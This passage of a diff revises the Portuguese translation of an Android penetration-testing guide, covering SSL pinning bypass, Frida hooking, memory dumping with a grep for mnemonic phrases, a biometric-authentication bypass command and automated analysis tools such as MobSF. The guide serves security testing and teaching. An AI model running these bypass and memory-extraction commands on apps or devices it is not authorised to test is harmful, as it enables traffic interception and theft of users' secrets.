multi-threading e memory-mapped I/O; regex pré-compilado reduz overhead/falsos positivos. - Coleção de padrões: https://github.com/aancw/smali-sslpin-patterns -- Alvos típicos de detecção para triagem a seguir: -- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references -- TrustManagers personalizados: javax.net.ssl.X509TrustManager, overrides de checkServerTrusted -- Custom SSL contexts: SSLContext.getInstance + SSLContext.init com managers personalizados +- Alvos de detecção típicos para triagem a seguir: +- OkHttp: uso de CertificatePinner, setCertificatePinner, referências ao pacote okhttp3/okhttp +- TrustManagers personalizados: javax.net.ssl.X509TrustManager, sobrescritas de checkServerTrusted +- Contextos SSL personalizados: SSLContext.getInstance + SSLContext.init com gerenciadores personalizados - Pins declarativos em res/xml network security config e referências no manifest -- Use as localizações correspondentes para planejar Frida hooks, patches estáticos ou revisões de configuração antes do teste dinâmico. +- Use os locais correspondentes para planejar Frida hooks, patches estáticos ou revisões de configuração antes dos testes dinâmicos. -#### Contornando SSL Pinning +#### Bypassando SSL Pinning -Quando SSL Pinning está implementado, contorná-lo torna-se necessário para inspecionar o tráfego HTTPS. Vários métodos estão disponíveis para esse fim: +Quando SSL Pinning está implementado, contorná-lo torna-se necessário para inspecionar o tráfego HTTPS. Vários métodos estão disponíveis para esse propósito: -- Modifique automaticamente o **apk** para **contornar** SSLPinning com [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). A maior vantagem desta opção é que você não precisará de root para contornar o SSL Pinning, mas será necessário apagar o aplicativo e reinstalar o novo, e isso nem sempre funciona. -- Você pode usar **Frida** (discutido abaixo) para contornar essa proteção. Aqui está um guia para usar Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +- Modify automaticamente o **apk** para contornar SSLPinning com [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). A maior vantagem dessa opção é que você não precisará de root para contornar o SSL Pinning, mas será necessário deletar o aplicativo e reinstalar o novo, e isso nem sempre funciona. +- Você pode usar **Frida** (discutido abaixo) para contornar essa proteção. Aqui há um guia para usar Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) - Você também pode tentar **contornar automaticamente o SSL Pinning** usando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` - Você também pode tentar **contornar automaticamente o SSL Pinning** usando **MobSF dynamic analysis** (explicado abaixo) -- Se você ainda achar que há tráfego que não está capturando, pode tentar **encaminhar o tráfego para o burp usando iptables**. Leia este blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- Se você ainda achar que há tráfego que não está capturando, pode tentar **encaminhar o tráfego para burp usando iptables**. Leia este blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) #### Procurando por Vulnerabilidades Web Comuns -Também é importante procurar por vulnerabilidades web comuns dentro do aplicativo. Informações detalhadas sobre identificação e mitigação dessas vulnerabilidades estão além do escopo deste resumo, mas são amplamente abordadas em outros recursos. +Também é importante procurar por vulnerabilidades web comuns dentro do aplicativo. Informações detalhadas sobre identificação e mitigação dessas vulnerabilidades estão além do escopo deste resumo, mas são amplamente abordadas em outros lugares. ### Frida -[Frida](https://www.frida.re) é um toolkit de instrumentação dinâmica para desenvolvedores, engenheiros de reverso e pesquisadores de segurança.\ -**Você pode acessar a aplicação em execução e hookar métodos em tempo de execução para alterar o comportamento, mudar valores, extrair valores, executar código diferente...**\ -Se você quer fazer pentest em aplicações Android, precisa saber usar o Frida. +[Frida](https://www.frida.re) é um toolkit de instrumentação dinâmica para desenvolvedores, reverse-engineers e pesquisadores de segurança.\ +**Você pode acessar a aplicação em execução e hookar métodos em tempo de execução para mudar o comportamento, alterar valores, extrair valores, executar código diferente...**\ +Se você quer fazer pentest em aplicações Android, precisa saber como usar Frida. -- Aprenda a usar o Frida: [**Frida tutorial**](frida-tutorial/index.html) +- Aprenda a usar Frida: [**Frida tutorial**](frida-tutorial/index.html) - Algumas "GUI" para ações com Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) -- Ojection é ótimo para automatizar o uso do Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) -- Você pode encontrar alguns scripts Awesome do Frida aqui: [**https://codeshare.frida.re/**](https://codeshare.frida.re) +- Ojection é ótima para automatizar o uso do Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) +- Você pode encontrar alguns scripts Awesome para Frida aqui: [**https://codeshare.frida.re/**](https://codeshare.frida.re) - Tente contornar mecanismos anti-debugging / anti-frida carregando o Frida conforme indicado em [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (ferramenta [linjector](https://github.com/erfur/linjector-rs)) -#### Anti-instrumentation & fluxo de bypass de SSL pinning +#### Anti-instrumentation & workflow de bypass de SSL pinning {{#ref}} android-anti-instrumentation-and-ssl-pinning-bypass.md {{#endref}} -### **Dump de memória - Fridump** +### **Dump de Memória - Fridump** -Verifique se o aplicativo está armazenando informações sensíveis na memória que não deveria, como senhas ou frases mnemônicas. +Verifique se a aplicação está armazenando informações sensíveis na memória que não deveria, como senhas ou mnemonics. Usando [**Fridump3**](https://github.com/rootbsd/fridump3) você pode fazer dump da memória do app com: ```bash @@ -536,13 +534,13 @@ python3 fridump3.py -u frida-ps -Uai python3 fridump3.py -u "" ``` -Isso irá dump a memória na pasta ./dump, e aí você pode grep com algo como: +Isso vai despejar a memória na pasta ./dump, e lá você pode usar grep com algo assim: ```bash strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$" ``` ### **Dados sensíveis no Keystore** -No Android o Keystore é o melhor lugar para armazenar dados sensíveis; no entanto, com privilégios suficientes ainda é **possível acessá-lo**. Como aplicações tendem a armazenar aqui **dados sensíveis em texto claro**, os pentests devem verificar isso, pois um root user ou alguém com acesso físico ao dispositivo poderia roubar esses dados. +No Android o Keystore é o melhor lugar para armazenar dados sensíveis, no entanto, com privilégios suficientes ainda é **possível acessá-lo**. Como as aplicações tendem a armazenar aqui **sensitive data in clear text**, os pentests devem verificar isso, pois um root user ou alguém com acesso físico ao dispositivo pode roubar esses dados. Mesmo que um app armazene dados no keystore, os dados devem estar criptografados. @@ -552,104 +550,104 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Fingerprint/Biometrics Bypass** -Usando o seguinte Frida script, pode ser possível **bypass fingerprint authentication** que aplicativos Android podem estar realizando para **proteger certas áreas sensíveis:** +Usando o seguinte script Frida, pode ser possível **bypass fingerprint authentication** que aplicações Android podem estar realizando para **proteger certas áreas sensíveis:** ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` ### **Imagens de Fundo** -Quando você coloca um aplicativo em segundo plano, o Android armazena um **instantâneo da aplicação** para que, quando ele for recuperado para o foreground, comece carregando a imagem antes do app, fazendo com que pareça que o aplicativo foi carregado mais rápido. +Quando você coloca um aplicativo em background, o Android armazena um **snapshot of the application** para que, quando ele for restaurado para foreground, comece a carregar a imagem antes do aplicativo, fazendo parecer que o aplicativo foi carregado mais rapidamente. -No entanto, se esse instantâneo contiver **informações sensíveis**, alguém com acesso ao instantâneo pode **roubar essa informação** (observe que você precisa de root para acessá-lo). +No entanto, se esse snapshot contiver **informações sensíveis**, alguém com acesso ao snapshot pode **roubar essas informações** (observe que é necessário root para acessá-lo). -Os instantâneos geralmente são armazenados em: **`/data/system_ce/0/snapshots`** +Os snapshots normalmente são armazenados em: **`/data/system_ce/0/snapshots`** -O Android fornece uma maneira de **impedir a captura de screenshot definindo o parâmetro de layout FLAG_SECURE**. Ao usar essa flag, o conteúdo da janela é tratado como seguro, impedindo que apareça em screenshots ou que seja exibido em displays não seguros. +O Android disponibiliza uma forma de **prevenir a captura de screenshots definindo o parâmetro de layout FLAG_SECURE**. Ao usar essa flag, o conteúdo da janela é tratado como seguro, impedindo que apareça em screenshots ou que seja exibido em displays não seguros. ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` ### **Android Application Analyzer** -Esta ferramenta pode ajudar a gerenciar diferentes ferramentas durante a análise dinâmica: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) +Esta ferramenta pode ajudá-lo a gerenciar diferentes ferramentas durante a análise dinâmica: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) ### Intent Injection -Desenvolvedores frequentemente criam componentes proxy como activities, services e broadcast receivers que manipulam esses Intents e os passam para métodos como `startActivity(...)` ou `sendBroadcast(...)`, o que pode ser arriscado. +Desenvolvedores frequentemente criam componentes proxy, como activities, services e broadcast receivers, que manipulam esses Intents e os passam para métodos como `startActivity(...)` ou `sendBroadcast(...)`, o que pode ser arriscado. -O perigo está em permitir que atacantes acionem componentes da app não-exportados ou acessem content providers sensíveis ao desviar esses Intents. Um exemplo notável é o componente `WebView` converter URLs em objetos `Intent` via `Intent.parseUri(...)` e então executá-los, potencialmente levando a injeções maliciosas de Intent. +O perigo está em permitir que atacantes acionem componentes da aplicação não exportados ou acessem content providers sensíveis ao redirecionar indevidamente esses Intents. Um exemplo notável é o componente `WebView` convertendo URLs em objetos `Intent` via `Intent.parseUri(...)` e então executando-os, potencialmente levando a injeções de Intent maliciosas. ### Essential Takeaways -- **Intent Injection** é similar ao problema de Open Redirect na web. -- Exploits envolvem passar objetos `Intent` como extras, que podem ser redirecionados para executar operações inseguras. -- Pode expor componentes não-exportados e content providers aos atacantes. +- **Intent Injection** é similar ao problema Open Redirect da web. +- Explorações envolvem passar objetos `Intent` como extras, que podem ser redirecionados para executar operações inseguras. +- Pode expor componentes não exportados e content providers aos atacantes. - A conversão de URLs para `Intent` do `WebView` pode facilitar ações não intencionais. -### Injeções do Lado do Cliente no Android e outros +### Android Client Side Injections and others -Provavelmente você conhece esse tipo de vulnerabilidade da Web. É preciso ter cuidado especial com essas vulnerabilidades em uma aplicação Android: +Provavelmente você conhece esse tipo de vulnerabilidade da Web. É preciso ter especial cuidado com essas vulnerabilidades em uma aplicação Android: -- **SQL Injection:** Ao lidar com queries dinâmicas ou Content-Providers, garanta o uso de queries parametrizadas. -- **JavaScript Injection (XSS):** Verifique se o suporte a JavaScript e Plugins está desabilitado para quaisquer WebViews (desabilitado por padrão). [More info here](webview-attacks.md#javascript-enabled). -- **Local File Inclusion:** Os WebViews devem ter o acesso ao sistema de arquivos desabilitado (habilitado por padrão) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). -- **Eternal cookies**: Em vários casos, quando a aplicação Android finaliza a sessão, o cookie não é revogado ou pode até ser salvo em disco +- **SQL Injection:** Ao lidar com consultas dinâmicas ou Content-Providers, assegure-se de usar consultas parametrizadas. +- **JavaScript Injection (XSS):** Verifique se o suporte a JavaScript e a Plugins está desabilitado para quaisquer WebViews (desabilitado por padrão). [More info here](webview-attacks.md#javascript-enabled). +- **Local File Inclusion:** O acesso ao sistema de arquivos pelos WebViews deve estar desabilitado (habilitado por padrão) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). +- **Eternal cookies**: Em vários casos, quando a aplicação Android finaliza a sessão, o cookie não é removido ou pode até ser salvo em disco - [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) --- -## Análise Automática +## Automatic Analysis ### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) -**Análise estática** +**Static analysis** ![](<../../images/image (866).png>) -**Avaliação de vulnerabilidades da aplicação** usando uma interface web agradável. Você também pode realizar análise dinâmica (mas precisa preparar o ambiente). +**Vulnerability assessment of the application** usando uma interface web agradável. Você também pode realizar análise dinâmica (mas é necessário preparar o ambiente). ```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest ``` -Notice that MobSF can analyse **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\ -Also, if you create a **ZIP** file with the source code if an **Android** or an **IOS** app (go to the root folder of the application, select everything and create a ZIPfile), it will be able to analyse it also. +Notice que o MobSF pode analisar **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\ +Além disso, se você criar um arquivo **ZIP** com o código-fonte de um app **Android** ou **IOS** (vá para a pasta root da aplicação, selecione tudo e crie um ZIPfile), ele também poderá analisá-lo. -MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file. +MobSF também permite que você faça **diff/Compare** de análises e integre o **VirusTotal** (você precisará configurar sua API key em _MobSF/settings.py_ e habilitá-la: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Você também pode definir `VT_UPLOAD` para `False`, então o **hash** será **upload** em vez do arquivo. -### Assisted Dynamic analysis with MobSF +### Análise Dinâmica Assistida com MobSF -**MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\ -The **MobSF dynamic analyser** can: +**MobSF** também pode ser muito útil para **análise dinâmica** em **Android**, mas nesse caso você precisará instalar MobSF e **genymotion** no seu host (uma VM ou Docker não funcionam). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\ +O **MobSF dynamic analyser** pode: -- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). All of this is done automatically except for the screenshots, you need to press when you want a screenshot or you need to press "**Exported Activity Tester**" to obtain screenshots of all the exported activities. -- Capture **HTTPS traffic** -- Use **Frida** to obtain **runtime** **information** +- **Dump application data** (URLs, logs, clipboard, screenshots feitas por você, screenshots feitas pelo "**Exported Activity Tester**", emails, bancos de dados SQLite, arquivos XML e outros arquivos criados). Tudo isso é feito automaticamente, exceto pelas screenshots — você precisa pressionar quando quiser uma screenshot ou pressionar "**Exported Activity Tester**" para obter screenshots de todas as activities exportadas. +- Capturar tráfego **HTTPS** +- Usar **Frida** para obter **runtime** **information** -From android **versions > 5**, it will **automatically start Frida** and will set global **proxy** settings to **capture** traffic. It will only capture traffic from the tested application. +A partir de android **versions > 5**, ele irá **automatically start Frida** e configurará as definições globais de **proxy** para **capture** o tráfego. Ele capturará apenas o tráfego da aplicação testada. **Frida** -By default, it will also use some Frida Scripts to **bypass SSL pinning**, **root detection** and **debugger detection** and to **monitor interesting APIs**.\ -MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report. +Por padrão, ele também usará alguns Frida Scripts para **bypass SSL pinning**, **root detection** e **debugger detection** e para **monitor interesting APIs**.\ +MobSF também pode **invoke exported activities**, capturar **screenshots** delas e **save** para o relatório. -To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\ -MobSF also allows you to load your own **Frida scripts** (to send the results of your Frida scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**"). +Para **start** o teste dinâmico pressione o botão verde: "**Start Instrumentation**". Pressione "**Frida Live Logs**" para ver os logs gerados pelos Frida scripts e "**Live API Monitor**" para ver todas as invocações aos métodos hookados, argumentos passados e valores retornados (isso aparecerá após pressionar "Start Instrumentation").\ +MobSF também permite carregar seus próprios **Frida scripts** (para enviar os resultados dos seus Frida scripts para o MobSF use a função `send()`). Ele também possui **several pre-written scripts** que você pode carregar (você pode adicionar mais em `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selecioná-los**, pressionar "**Load**" e pressionar "**Start Instrumentation**" (você poderá ver os logs desses scripts dentro de "**Frida Live Logs**"). ![](<../../images/image (419).png>) -Moreover, you have some Auxiliary Frida functionalities: +Além disso, você tem algumas funcionalidades auxiliares do Frida: -- **Enumerate Loaded Classes**: It will print all the loaded classes -- **Capture Strings**: It will print all the capture strings while using the application (super noisy) -- **Capture String Comparisons**: Could be very useful. It will **show the 2 strings being compared** and if the result was True or False. -- **Enumerate Class Methods**: Put the class name (like "java.io.File") and it will print all the methods of the class. -- **Search Class Pattern**: Search classes by pattern -- **Trace Class Methods**: **Trace** a **whole class** (see inputs and outputs of all methods of th class). Remember that by default MobSF traces several interesting Android Api methods. +- **Enumerate Loaded Classes**: Irá imprimir todas as classes carregadas +- **Capture Strings**: Irá imprimir todas as strings capturadas enquanto usa a aplicação (muito ruidoso) +- **Capture String Comparisons**: Pode ser muito útil. Irá **show the 2 strings being compared** e se o resultado foi True ou False. +- **Enumerate Class Methods**: Insira o nome da classe (como "java.io.File") e ele imprimirá todos os métodos da classe. +- **Search Class Pattern**: Buscar classes por pattern +- **Trace Class Methods**: **Trace** a **whole class** (ver entradas e saídas de todos os métodos da classe). Lembre-se que por padrão o MobSF traça vários métodos interessantes da Android API. -Once you have selected the auxiliary module you want to use you need to press "**Start Intrumentation**" and you will see all the outputs in "**Frida Live Logs**". +Após selecionar o módulo auxiliar que deseja usar, você precisa pressionar "**Start Instrumentation**" e verá todas as saídas em "**Frida Live Logs**". **Shell** -Mobsf also brings you a shell with some **adb** commands, **MobSF commands**, and common **shell** **commands** at the bottom of the dynamic analysis page. Some interesting commands: +MobSF também oferece um shell com alguns comandos **adb**, **MobSF commands**, e comandos comuns de **shell** na parte inferior da página de análise dinâmica. Alguns comandos interessantes: ```bash help shell ls @@ -660,32 +658,32 @@ receivers ``` **Ferramentas HTTP** -Quando o tráfego HTTP é capturado você pode ver uma visão feia do tráfego capturado no botão "**HTTP(S) Traffic**" ou uma visão mais agradável no botão verde "**Start HTTPTools**". A partir da segunda opção, você pode **enviar** as **requisições capturadas** para **proxies** como Burp ou Owasp ZAP.\ -Para isso, _ligue o Burp -->_ _desative o Intercept --> no MobSB HTTPTools selecione a request_ --> pressione "**Send to Fuzzer**" --> _selecione o endereço do proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). +When http traffic is capture you can see an ugly view of the captured traffic on "**HTTP(S) Traffic**" bottom or a nicer view in "**Start HTTPTools**" green bottom. From the second option, you can **send** the **captured requests** to **proxies** like Burp or Owasp ZAP.\ +To do so, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). -Uma vez que você termine a análise dinâmica com MobSF você pode pressionar "**Start Web API Fuzzer**" para **fuzz http requests** e procurar por vulnerabilidades. +Once you finish the dynamic analysis with MobSF you can press on "**Start Web API Fuzzer**" to **fuzz http requests** an look for vulnerabilities. > [!TIP] -> Após realizar uma análise dinâmica com MobSF as configurações do proxy podem ficar mal configuradas e você não conseguirá corrigir isso pela GUI. Você pode corrigir as configurações do proxy fazendo: +> Após realizar uma análise dinâmica com MobSF as configurações de proxy podem ficar mal configuradas e você pode não conseguir corrigi-las pela GUI. Você pode corrigir as configurações de proxy executando: > > ``` > adb shell settings put global http_proxy :0 > ``` -### Assisted Dynamic Analysis with Inspeckage +### Análise Dinâmica Assistida com Inspeckage Você pode obter a ferramenta em [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ -Essa ferramenta usa alguns **Hooks** para informar **o que está acontecendo na aplicação** enquanto você realiza uma **análise dinâmica**. +Esta ferramenta utiliza alguns **Hooks** para mostrar **o que está acontecendo no aplicativo** enquanto você realiza uma **análise dinâmica**. ### [Yaazhini](https://www.vegabird.com/yaazhini/) -Esta é uma **ótima ferramenta para realizar análise estática com uma GUI** +Esta é uma **excelente ferramenta para realizar análise estática com uma GUI** ![](<../../images/image (741).png>) ### [Qark](https://github.com/linkedin/qark) -Essa ferramenta foi projetada para procurar várias **vulnerabilidades relacionadas à segurança em aplicações Android**, seja em **código-fonte** ou em **APKs empacotados**. A ferramenta também é **capaz de criar um APK "Proof-of-Concept" deployable** e **ADB commands**, para explorar algumas das vulnerabilidades encontradas (Exposed activities, intents, tapjacking...). Assim como com Drozer, não há necessidade de root no dispositivo de teste. +Esta ferramenta foi projetada para buscar várias **vulnerabilidades de aplicações Android relacionadas à segurança**, tanto no **código-fonte** quanto em **APKs empacotados**. A ferramenta também é **capaz de criar um APK implantável de "Proof-of-Concept"** e **comandos ADB**, para explorar algumas das vulnerabilidades encontradas (atividades expostas, intents, tapjacking...). Como com Drozer, não é necessário rootear o dispositivo de teste. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -694,7 +692,7 @@ qark --java path/to/specific/java/file.java ``` ### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git) -- Exibe todos os arquivos extraídos para referência rápida +- Exibe todos os arquivos extraídos para fácil referência - Descompila automaticamente arquivos APK para os formatos Java e Smali - Analisa AndroidManifest.xml em busca de vulnerabilidades e comportamentos comuns - Análise estática de código-fonte para vulnerabilidades e comportamentos comuns @@ -705,9 +703,9 @@ reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER é uma aplicação de linha de comando que pode ser usada em Windows, MacOS X e Linux, que analisa _.apk_ files em busca de vulnerabilidades. Faz isso descomprimindo APKs e aplicando uma série de regras para detectar essas vulnerabilidades. +SUPER é uma aplicação de linha de comando que pode ser usada em Windows, MacOS X e Linux, que analisa arquivos _.apk_ em busca de vulnerabilidades. Ele faz isso descompactando APKs e aplicando uma série de regras para detectar essas vulnerabilidades. -Todas as regras estão centralizadas em um arquivo `rules.json`, e cada empresa ou tester pode criar suas próprias regras para analisar o que for necessário. +Todas as regras estão centralizadas em um arquivo `rules.json`, e cada empresa ou testador pode criar suas próprias regras para analisar o que precisa. Faça o download dos binários mais recentes na [download page](https://superanalyzer.rocks/download.html) ``` @@ -717,17 +715,17 @@ super-analyzer {apk_file} ![](<../../images/image (297).png>) -StaCoAn é uma ferramenta **multiplataforma** que auxilia desenvolvedores, bugbounty hunters e ethical hackers na realização de [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) em aplicações móveis. +StaCoAn é uma ferramenta **multiplataforma** que auxilia desenvolvedores, bugbounty hunters e ethical hackers a realizar [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) em aplicações móveis. -O conceito é que você arraste e solte o arquivo da sua aplicação móvel (um arquivo .apk ou .ipa) na aplicação StaCoAn e ela irá gerar um relatório visual e portátil para você. Você pode ajustar as configurações e wordlists para obter uma experiência personalizada. +O conceito é que você arraste e solte o arquivo da sua aplicação móvel (um arquivo .apk ou .ipa) no aplicativo StaCoAn e ele gerará um relatório visual e portátil para você. Você pode ajustar as configurações e wordlists para obter uma experiência personalizada. -Download[ latest release](https://github.com/vincentcox/StaCoAn/releases): +Baixe[ latest release](https://github.com/vincentcox/StaCoAn/releases): ``` ./stacoan ``` ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) -AndroBugs Framework é um sistema de análise de vulnerabilidades em Android que ajuda desenvolvedores ou hackers a encontrar potenciais vulnerabilidades de segurança em aplicações Android.\ +AndroBugs Framework é um sistema de análise de vulnerabilidades para Android que ajuda desenvolvedores ou hackers a encontrar potenciais vulnerabilidades de segurança em aplicações Android.\ [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases) ``` python androbugs.py -f [APK file] @@ -735,11 +733,11 @@ androbugs.exe -f [APK file] ``` ### [Androwarn](https://github.com/maaaaz/androwarn) -**Androwarn** é uma ferramenta cujo principal objetivo é detectar e alertar o usuário sobre potenciais comportamentos maliciosos desenvolvidos por uma aplicação Android. +**Androwarn** é uma ferramenta cujo objetivo principal é detectar e alertar o usuário sobre potenciais comportamentos maliciosos desenvolvidos por uma aplicação Android. A detecção é realizada com a **static analysis** do bytecode Dalvik da aplicação, representado como **Smali**, com a biblioteca [`androguard`](https://github.com/androguard/androguard). -Esta ferramenta procura por **comportamentos comuns de "bad" applications** como: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... +Esta ferramenta procura por **comportamentos comuns de aplicações "maliciosas"** como: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -747,70 +745,70 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA** é uma estrutura de **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. É uma ferramenta que reúne ferramentas comumente usadas para mobile application reverse engineering e análise, para auxiliar nos testes de aplicações móveis contra as ameaças de segurança mobile do OWASP. Seu objetivo é tornar essa tarefa mais fácil e amigável para desenvolvedores de aplicações móveis e profissionais de segurança. +**MARA** é um **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. É uma ferramenta que agrega ferramentas comumente usadas para reverse engineering e análise de aplicações móveis, para auxiliar nos testes de aplicações móveis contra as ameaças de segurança mobile do OWASP. Seu objetivo é tornar essa tarefa mais fácil e amigável para desenvolvedores de aplicações móveis e profissionais de segurança. -Ela é capaz de: +Ele é capaz de: - Extrair código Java e Smali usando diferentes ferramentas - Analisar APKs usando: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) - Extrair informações privadas do APK usando regexps. - Analisar o Manifest. -- Analisar domínios encontrados usando: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb) -- Desofuscar APK via [apk-deguard.com](http://www.apk-deguard.com) +- Analisar domínios encontrados usando: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) e [whatweb](https://github.com/urbanadventurer/WhatWeb) +- Deobfuscar APK via [apk-deguard.com](http://www.apk-deguard.com) ### Koodous Útil para detectar malware: [https://koodous.com/](https://koodous.com/) -## Ofuscação/Desofuscação de código +## Ofuscação/Deofuscação de código -Note que, dependendo do serviço e da configuração usados para ofuscar o código, segredos podem ou não ficar ofuscados. +Note que, dependendo do serviço e da configuração usada para ofuscar o código, segredos podem ou não terminar ofuscados. ### [ProGuard]() -From [Wikipedia](): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. It is able to optimize bytecode as well as detect and remove unused instructions. ProGuard is free software and is distributed under the GNU General Public License, version 2. +From [Wikipedia](): **ProGuard** é uma ferramenta open source de linha de comando que reduz, otimiza e ofusca código Java. Ela é capaz de otimizar bytecode assim como detectar e remover instruções não usadas. ProGuard é software livre e é distribuído sob a GNU General Public License, versão 2. -O ProGuard é distribuído como parte do Android SDK e é executado ao construir a aplicação em modo release. +ProGuard é distribuído como parte do Android SDK e é executado ao construir a aplicação em modo release. ### [DexGuard](https://www.guardsquare.com/dexguard) -Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) +Encontre um guia passo a passo para deobfuscar o apk em [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) -(From that guide) Da última vez que verificamos, o modo de operação do Dexguard era: +(Do guia) Da última vez que verificamos, o modo de operação do Dexguard era: -- load a resource as an InputStream; -- feed the result to a class inheriting from FilterInputStream to decrypt it; -- do some useless obfuscation to waste a few minutes of time from a reverser; -- feed the decrypted result to a ZipInputStream to get a DEX file; -- finally load the resulting DEX as a Resource using the `loadDex` method. +- carregar um recurso como um InputStream; +- alimentar o resultado para uma classe que herda de FilterInputStream para descriptografá-lo; +- fazer alguma ofuscação inútil para desperdiçar alguns minutos do tempo de um reverser; +- alimentar o resultado descriptografado para um ZipInputStream para obter um arquivo DEX; +- finalmente carregar o DEX resultante como um Resource usando o método `loadDex`. ### [DeGuard](http://apk-deguard.com) -**DeGuard reverte o processo de ofuscação realizado por ferramentas de ofuscação Android. Isso permite diversas análises de segurança, incluindo inspeção de código e identificação de bibliotecas.** +**DeGuard reverte o processo de ofuscação realizado por ferramentas de ofuscação Android. Isso possibilita inúmeras análises de segurança, incluindo inspeção de código e predição de bibliotecas.** Você pode enviar um APK ofuscado para a plataforma deles. ### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app -Esta é uma ferramenta LLM para encontrar 